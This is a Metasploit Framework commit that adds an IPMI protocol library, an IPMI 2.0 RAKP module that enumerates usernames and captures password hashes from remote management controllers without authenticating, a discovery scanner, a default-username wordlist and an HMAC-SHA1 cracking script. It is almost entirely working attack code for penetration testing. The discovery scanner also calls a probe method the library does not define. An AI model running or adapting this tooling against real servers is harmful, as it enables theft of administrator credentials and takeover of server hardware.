Initial commit of IPMI library, scanner, & cracker

unstable
HD Moore 2013-06-22 23:38:28 -05:00
parent e9883fe5b9
commit 5656e0cb7a
7 changed files with 672 additions and 0 deletions

View File

@ -0,0 +1,5 @@
ADMIN
admin
root
Administrator
USERID

4
lib/rex/proto/ipmi.rb Normal file
View File

@ -0,0 +1,4 @@
# -*- coding: binary -*-
require 'rex/proto/ipmi/constants'
require 'rex/proto/ipmi/utils'

View File

@ -0,0 +1,185 @@
# -*- coding: binary -*-
require 'bit-struct'
module Rex
module Proto
module IPMI
#
# Move these into an IPMI stack or mixin at some point
#
#
# Payload types were identified from xCAT-server source code (IPMI.pm)
#
PAYLOAD_IPMI = 0
PAYLOAD_SOL = 1
PAYLOAD_RMCPPLUSOPEN_REQ = 0x10
PAYLOAD_RMCPPLUSOPEN_REP = 0x11
PAYLOAD_RAKP1 = 0x12
PAYLOAD_RAKP2 = 0x13
PAYLOAD_RAKP3 = 0x14
PAYLOAD_RAKP4 = 0x15
#
# Payload types were copied from xCAT-server source code (IPMI.pm)
#
RMCP_ERRORS = {
1 => "Insufficient resources to create new session (wait for existing sessions to timeout)",
2 => "Invalid Session ID", #this shouldn't occur...
3 => "Invalid payload type",#shouldn't occur..
4 => "Invalid authentication algorithm", #if this happens, we need to enhance our mechanism for detecting supported auth algorithms
5 => "Invalid integrity algorithm", #same as above
6 => "No matching authentication payload",
7 => "No matching integrity payload",
8 => "Inactive Session ID", #this suggests the session was timed out while trying to negotiate, shouldn't happen
9 => "Invalid role",
0xa => "Unauthorised role or privilege level requested",
0xb => "Insufficient resources to create a session at the requested role",
0xc => "Invalid username length",
0xd => "Unauthorized name",
0xe => "Unauthorized GUID",
0xf => "Invalid integrity check value",
0x10 => "Invalid confidentiality algorithm",
0x11 => "No cipher suite match with proposed security algorithms",
0x12 => "Illegal or unrecognized parameter", #have never observed this, would most likely mean a bug in xCAT or IPMI device
}
class Channel_Auth_Reply < BitStruct
unsigned :rmcp_version, 8, "RMCP Version"
unsigned :rmcp_padding, 8, "RMCP Padding"
unsigned :rmcp_sequence, 8, "RMCP Sequence"
unsigned :rmcp_mtype, 1, "RMCP Message Type"
unsigned :rmcp_class, 7, "RMCP Message Class"
unsigned :session_auth_type, 8, "Session Auth Type"
unsigned :session_sequence, 32, "Session Sequence Number"
unsigned :session_id, 32, "Session ID"
unsigned :message_length, 8, "Message Length"
unsigned :ipmi_tgt_address, 8, "IPMI Target Address"
unsigned :ipmi_tgt_lun, 8, "IPMI Target LUN"
unsigned :ipmi_header_checksum, 8, "IPMI Header Checksum"
unsigned :ipmi_src_address, 8, "IPMI Source Address"
unsigned :ipmi_src_lun, 8, "IPMI Source LUN"
unsigned :ipmi_command, 8, "IPMI Command"
unsigned :ipmi_completion_code, 8, "IPMI Completion Code"
unsigned :ipmi_channel, 8, "IPMI Channel"
unsigned :ipmi_compat_20, 1, "IPMI Version Compatibility: IPMI 2.0+"
unsigned :ipmi_compat_reserved1, 1, "IPMI Version Compatibility: Reserved 1"
unsigned :ipmi_compat_oem_auth, 1, "IPMI Version Compatibility: OEM Authentication"
unsigned :ipmi_compat_password, 1, "IPMI Version Compatibility: Straight Password"
unsigned :ipmi_compat_reserved2, 1, "IPMI Version Compatibility: Reserved 2"
unsigned :ipmi_compat_md5, 1, "IPMI Version Compatibility: MD5"
unsigned :ipmi_compat_md2, 1, "IPMI Version Compatibility: MD2"
unsigned :ipmi_compat_none, 1, "IPMI Version Compatibility: None"
unsigned :ipmi_user_reserved1, 2, "IPMI User Compatibility: Reserved 1"
unsigned :ipmi_user_kg, 1, "IPMI User Compatibility: KG Set to Default"
unsigned :ipmi_user_disable_message_auth, 1, "IPMI User Compatibility: Disable Per-Message Authentication"
unsigned :ipmi_user_disable_user_auth, 1, "IPMI User Compatibility: Disable User-Level Authentication"
unsigned :ipmi_user_non_null, 1, "IPMI User Compatibility: Non-Null Usernames Enabled"
unsigned :ipmi_user_null, 1, "IPMI User Compatibility: Null Usernames Enabled"
unsigned :ipmi_user_anonymous, 1, "IPMI User Compatibility: Anonymous Login Enabled"
unsigned :ipmi_conn_reserved1, 6, "IPMI Connection Compatibility: Reserved 1"
unsigned :ipmi_conn_20, 1, "IPMI Connection Compatibility: 2.0"
unsigned :ipmi_conn_15, 1, "IPMI Connection Compatibility: 1.5"
unsigned :ipmi_oem_id, 24, "IPMI OEM ID", :endian => 'little'
rest :ipm_oem_data, "IPMI OEM Data + Checksum Byte"
def to_banner
info = self
banner = "Addr:#{info.ipmi_src_address} LUN:#{info.ipmi_src_lun} CH:#{info.ipmi_command} #{(info.ipmi_compat_20 == 1) ? "IPMI-2.0" : "IPMI-1.5"} "
pass_info = []
pass_info << "oem_auth" if info.ipmi_compat_oem_auth == 1
pass_info << "password" if info.ipmi_compat_password == 1
pass_info << "md5" if info.ipmi_compat_md5 == 1
pass_info << "md2" if info.ipmi_compat_md2 == 1
pass_info << "null" if info.ipmi_compat_none == 1
user_info = []
user_info << "kg_default" if (info.ipmi_compat_20 == 1 and info.ipmi_user_kg == 1)
user_info << "auth_msg" unless info.ipmi_user_disable_message_auth == 1
user_info << "auth_user" unless info.ipmi_user_disable_user_auth == 1
user_info << "non_null_user" if info.ipmi_user_non_null == 1
user_info << "null_user" if info.ipmi_user_null == 1
user_info << "anonymous_user" if info.ipmi_user_anonymous == 1
conn_info = []
conn_info << "1.5" if info.ipmi_conn_15 == 1
conn_info << "2.0" if info.ipmi_conn_20 == 1
if info.ipmi_oem_id != 0
banner << "OEMID:#{info.ipmi_oem_id} "
end
banner << "UserAuth(#{user_info.join(", ")}) PassAuth(#{pass_info.join(", ")}) Level(#{conn_info.join(", ")}) "
banner
end
end
class Open_Session_Reply < BitStruct
unsigned :rmcp_version, 8, "RMCP Version"
unsigned :rmcp_padding, 8, "RMCP Padding"
unsigned :rmcp_sequence, 8, "RMCP Sequence"
unsigned :rmcp_mtype, 1, "RMCP Message Type"
unsigned :rmcp_class, 7, "RMCP Message Class"
unsigned :session_auth_type, 8, "Authentication Type"
unsigned :session_payload_encrypted, 1, "Session Payload Encrypted"
unsigned :session_payload_authenticated, 1, "Session Payload Authenticated"
unsigned :session_payload_type, 6, "Session Payload Type", :endian => 'little'
unsigned :session_id, 32, "Session ID"
unsigned :session_sequence, 32, "Session Sequence Number"
unsigned :message_length, 16, "Message Length", :endian => "little"
unsigned :ignored1, 8, "Ignored"
unsigned :error_code, 8, "RMCP Error Code"
unsigned :ignored2, 16, "Ignored"
char :console_session_id, 32, "Console Session ID"
char :bmc_session_id, 32, "BMC Session ID"
rest :stuff, "The Rest of the Stuff"
end
class RAKP2 < BitStruct
unsigned :rmcp_version, 8, "RMCP Version"
unsigned :rmcp_padding, 8, "RMCP Padding"
unsigned :rmcp_sequence, 8, "RMCP Sequence"
unsigned :rmcp_mtype, 1, "RMCP Message Type"
unsigned :rmcp_class, 7, "RMCP Message Class"
unsigned :session_auth_type, 8, "Authentication Type"
unsigned :session_payload_encrypted, 1, "Session Payload Encrypted"
unsigned :session_payload_authenticated, 1, "Session Payload Authenticated"
unsigned :session_payload_type, 6, "Session Payload Type", :endian => 'little'
unsigned :session_id, 32, "Session ID"
unsigned :session_sequence, 32, "Session Sequence Number"
unsigned :message_length, 16, "Message Length", :endian => "little"
unsigned :ignored1, 8, "Ignored"
unsigned :error_code, 8, "RMCP Error Code"
unsigned :ignored2, 16, "Ignored"
char :console_session_id, 32, "Console Session ID"
char :bmc_random_id, 128, "BMC Random ID"
char :bmc_guid, 128, "RAKP2 Hash 2 (nulls)"
char :hmac_sha1, 160, "HMAC_SHA1 Output"
rest :stuff, "The rest of the stuff"
end
end
end
end

View File

@ -0,0 +1,87 @@
# -*- coding: binary -*-
require 'rex/proto/ipmi/constants'
module Rex
module Proto
module IPMI
class Utils
def self.checksum(data)
sum = 0
data.unpack("C*").each {|c| sum += c }
sum = ~sum + 1
sum & 0xff
end
def self.create_ipmi_getchannel_probe
[ # Get Channel Authentication Capabilities
0x06, 0x00, 0xff, 0x07, # RMCP Header
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x20, 0x18,
0xc8, 0x81, 0x00, 0x38, 0x8e, 0x04, 0xb5
].pack("C*")
end
# open rmcpplus_request
def self.create_ipmi_session_open_request(console_session_id)
head = [
0x06, 0x00, 0xff, 0x07, # RMCP Header
0x06, # RMCP+ Authentication Type
PAYLOAD_RMCPPLUSOPEN_REQ, # Payload Type
0x00, 0x00, 0x00, 0x00, # Session ID
0x00, 0x00, 0x00, 0x00 # Sequence Number
].pack("C*")
data =
[ # Maximum access
0x00, 0x00,
# Reserved
0x00, 0x00
].pack("C*") +
console_session_id +
[
# SHA1 Integrity
0x00, 0x00, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00,
# AES Encryption
0x02, 0x00, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00
].pack("C*")
head + [data.length].pack('v') + data
end
def self.create_ipmi_rakp_1(bmc_session_id, console_random_id, username)
[
0x06, 0x00, 0xff, 0x07, # RMCP Header
0x06, # RMCP+ Authentication Type
PAYLOAD_RAKP1, # Payload Type
0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x00,
0x00, 0x00, 0x00, 0x00
].pack("C*") +
bmc_session_id +
console_random_id +
[
0x14, 0x00, 0x00,
username.length
].pack("C*") +
username
end
def self.create_rakp_hmac_sha1_salt(con_sid, bmc_sid, con_rid, bmc_rid, bmc_gid, auth_level, username)
con_sid +
bmc_sid +
con_rid +
bmc_rid +
bmc_gid +
[ auth_level ].pack("C") +
[ username.length ].pack("C") +
username
end
end
end
end
end

View File

@ -0,0 +1,229 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex/proto/ipmi'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'IPMI 2.0 RAKP Remote Password Hash Retreival',
'Description' => 'Identify valid usernames and their hashed passwords through the IPMI 2.0 RAKP protocol',
'Author' => [ 'Dan Farmer <zen[at]fish2.com>', 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://fish2.com/ipmi/remote-pw-cracking.html']
],
'DisclosureDate' => 'Jun 20 2013'
)
register_options(
[
Opt::RPORT(623),
OptPath.new('USER_FILE', [ true, "File containing usernames, one per line",
File.join(Msf::Config.install_root, 'data', 'wordlists', 'ipmi_users.txt')
]),
OptString.new('OUTPUT_FILE', [false, "File to save captured password hashes into"])
], self.class)
end
def run_host(ip)
vprint_status("Sending IPMI probes to #{ip}")
self.udp_sock = Rex::Socket::Udp.create({'Context' => {'Msf' => framework, 'MsfExploit' => self}})
add_socket(self.udp_sock)
udp_send(Rex::Proto::IPMI::Utils.create_ipmi_getchannel_probe)
r = udp_recv(5.0)
unless r
vprint_status("#{rhost} No response to IPMI probe")
return
end
info = process_getchannel_reply(*r)
unless info
vprint_status("#{rhost} Could not understand the response to the IPMI probe")
return
end
unless info.ipmi_compat_20 == 1
vprint_status("#{rhost} Does not support IPMI 2.0")
return
end
fd = ::File.open(datastore['USER_FILE'], "rb")
fd.each_line do |line|
username = line.strip
console_session_id = Rex::Text.rand_text(4)
console_random_id = Rex::Text.rand_text(16)
vprint_status("#{rhost} Trying username '#{username}'...")
r = nil
1.upto(3) do
udp_send(Rex::Proto::IPMI::Utils.create_ipmi_session_open_request(console_session_id))
r = udp_recv(5.0)
break if r
end
unless r
vprint_status("#{rhost} No response to IPMI open session request, stopping test")
return
end
sess = process_opensession_reply(*r)
unless sess
vprint_status("#{rhost} Could not understand the response to the open session request, stopping test")
return
end
r = nil
1.upto(3) do
udp_send(Rex::Proto::IPMI::Utils.create_ipmi_rakp_1(sess.bmc_session_id, console_random_id, username))
r = udp_recv(5.0)
break if r
end
unless r
vprint_status("#{rhost} No response to RAKP1 message")
next
end
rakp = process_rakp1_reply(*r)
unless rakp
vprint_status("#{rhost} Could not understand the response to the RAKP1 request")
next
end
if rakp.error_code != 0
vprint_status("#{rhost} Returned error code #{rakp.error_code} for username #{username}: #{Rex::Proto::IPMI::RMCP_ERRORS[rakp.error_code].to_s}")
next
end
if rakp.ignored1 != 0
vprint_status("#{rhost} Returned weird error code #{rakp.ignored1} for username #{username}")
next
end
# Calculate the salt used in the hmac-sha1 hash
hmac_buffer = Rex::Proto::IPMI::Utils.create_rakp_hmac_sha1_salt(
console_session_id,
sess.bmc_session_id,
console_random_id,
rakp.bmc_random_id,
rakp.bmc_guid,
0x14,
username
)
found = "#{rhost} #{username}:#{hmac_buffer.unpack("H*")[0]}:#{rakp.hmac_sha1.unpack("H*")[0]}"
print_good(found)
if @output
@output.write(found + "\n")
end
end
end
def process_getchannel_reply(data, shost, sport)
shost = shost.sub(/^::ffff:/, '')
info = Rex::Proto::IPMI::Channel_Auth_Reply.new(data) rescue nil
# Ignore invalid responses
return if not info
return if not info.ipmi_command == 56
banner = info.to_banner
print_status("#{shost}:#{datastore['RPORT']} #{banner}")
report_service(
:host => shost,
:port => datastore['RPORT'],
:proto => 'udp',
:name => 'ipmi',
:info => banner
)
# Report a vulnerablity if info.ipmi_user_anonymous has been set
# Report a vulnerability if ipmi 2.0 and kg is set to default
# Report a vulnerability if info.ipmi_user_null has been set (null username)
info
end
def process_opensession_reply(data, shost, sport)
shost = shost.sub(/^::ffff:/, '')
info = Rex::Proto::IPMI::Open_Session_Reply.new(data) rescue nil
return if not info
return if not info.session_payload_type == Rex::Proto::IPMI::PAYLOAD_RMCPPLUSOPEN_REP
info
end
def process_rakp1_reply(data, shost, sport)
shost = shost.sub(/^::ffff:/, '')
info = Rex::Proto::IPMI::RAKP2.new(data) rescue nil
return if not info
return if not info.session_payload_type == Rex::Proto::IPMI::PAYLOAD_RAKP2
info
end
#
# Helper methods (this didn't quite fit with existing mixins)
#
attr_accessor :udp_sock
def udp_send(data)
begin
udp_sock.sendto(data, rhost, datastore['RPORT'], 0)
rescue ::Interrupt
raise $!
rescue ::Exception
end
end
def udp_recv(timeo)
r = udp_sock.recvfrom(65535, timeo)
r[1] ? r : nil
end
def setup
super
@output = nil
if datastore['OUTPUT_FILE']
@output = ::File.open(datastore['OUTPUT_FILE'], "ab")
end
end
def cleanup
super
@output.close if @output
@output = nil
end
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
end

View File

@ -0,0 +1,75 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex/proto/ipmi'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::UDPScanner
def initialize
super(
'Name' => 'IPMI Information Discovery',
'Description' => 'Discover host information through IPMI Channel Auth probes',
'Author' => [ 'Dan Farmer <zen[at]fish2.com>', 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://fish2.com/ipmi/']
]
)
register_options(
[
Opt::RPORT(623)
], self.class)
end
def scanner_prescan(batch)
print_status("Sending IPMI requests to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
@res = {}
end
def scan_host(ip)
scanner_send(Rex::Proto::IPMI::Utils.create_ipmi_probe, ip, datastore['RPORT'])
end
def scanner_process(data, shost, sport)
info = Rex::Proto::IPMI::Channel_Auth_Reply.new(data) rescue nil
# Ignore invalid responses
return if not info
return if not info.ipmi_command == 56
# Ignore duplicate replies
return if @res[shost]
@res[shost] ||= info
banner = info.to_banner
print_status("#{shost}:#{datastore['RPORT']} #{banner}")
report_service(
:host => shost,
:port => datastore['RPORT'],
:proto => 'udp',
:name => 'ipmi',
:info => banner
)
# Report a vulnerablity if info.ipmi_user_anonymous has been set
# Report a vulnerability if ipmi 2.0 and kg is set to default
# Report a vulnerability if info.ipmi_user_null has been set (null username)
end
end

87
tools/hmac_sha1_crack.rb Executable file
View File

@ -0,0 +1,87 @@
#!/usr/bin/env ruby
#
# $Id$
#
# This script cracks HMAC SHA1 hashes. It is strangely necessary as existing tools
# have issues with binary salt values and extremely large salt values. The primary
# goal of this tool is to handle IPMI 2.0 HMAC SHA1 hashes
#
msfbase = __FILE__
while File.symlink?(msfbase)
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
end
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib')))
require 'fastlib'
require 'msfenv'
$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
require 'rex'
require 'openssl'
def usage
$stderr.puts("\nUsage: #{$0} hashes.txt <wordlist | - >\n")
$stderr.puts("The format of hash file is <identifier>:<hex-salt>:<hash>\n\n")
exit
end
hash_inp = ARGV.shift || usage()
word_inp = ARGV.shift || usage()
usage if [hash_inp, word_inp].include?("-h") or [hash_inp, word_inp].include?("--help")
hash_fd = ::File.open(hash_inp, "rb")
word_fd = $stdin
if word_inp != "-"
word_fd = ::File.open(word_inp, "rb")
end
hashes = []
hash_fd.each_line do |line|
next unless line.strip.length > 0
h_id, h_salt, h_hash = line.unpack("C*").pack("C*").strip.split(':', 3)
unless h_id and h_salt and h_hash
$stderr.puts "[-] Invalid hash entry, missing field: #{line}"
next
end
unless h_salt =~ /^[a-f0-9]+$/i
$stderr.puts "[-] Invalid hash entry, salt must be in hex: #{line}"
next
end
hashes << [h_id, [h_salt].pack("H*"), [h_hash].pack("H*") ]
end
hash_fd.close
stime = Time.now.to_f
count = 0
cracked = 0
word_fd.each_line do |line|
line = line.unpack("C*").pack("C*").strip
next unless line.length > 0
hashes.each do |hinfo|
if OpenSSL::HMAC.digest('sha1', line, hinfo[1]) == hinfo[2]
$stdout.puts "[+] CRACKED " + hinfo[0]+":"+line
$stdout.flush
hinfo[3] = true
cracked += 1
end
count += 1
if count % 2500000 == 0
$stderr.puts "[*] Found #{cracked} passwords with #{hashes.length} left (#{(count / (Time.now.to_f - stime)).to_i}/s)"
end
end
hashes.delete_if {|e| e[3] }
break if hashes.length == 0
end
word_fd.close
$stderr.puts "[*] Cracked #{cracked} passwords with #{hashes.length} left (#{(count / (Time.now.to_f - stime)).to_i}/s)"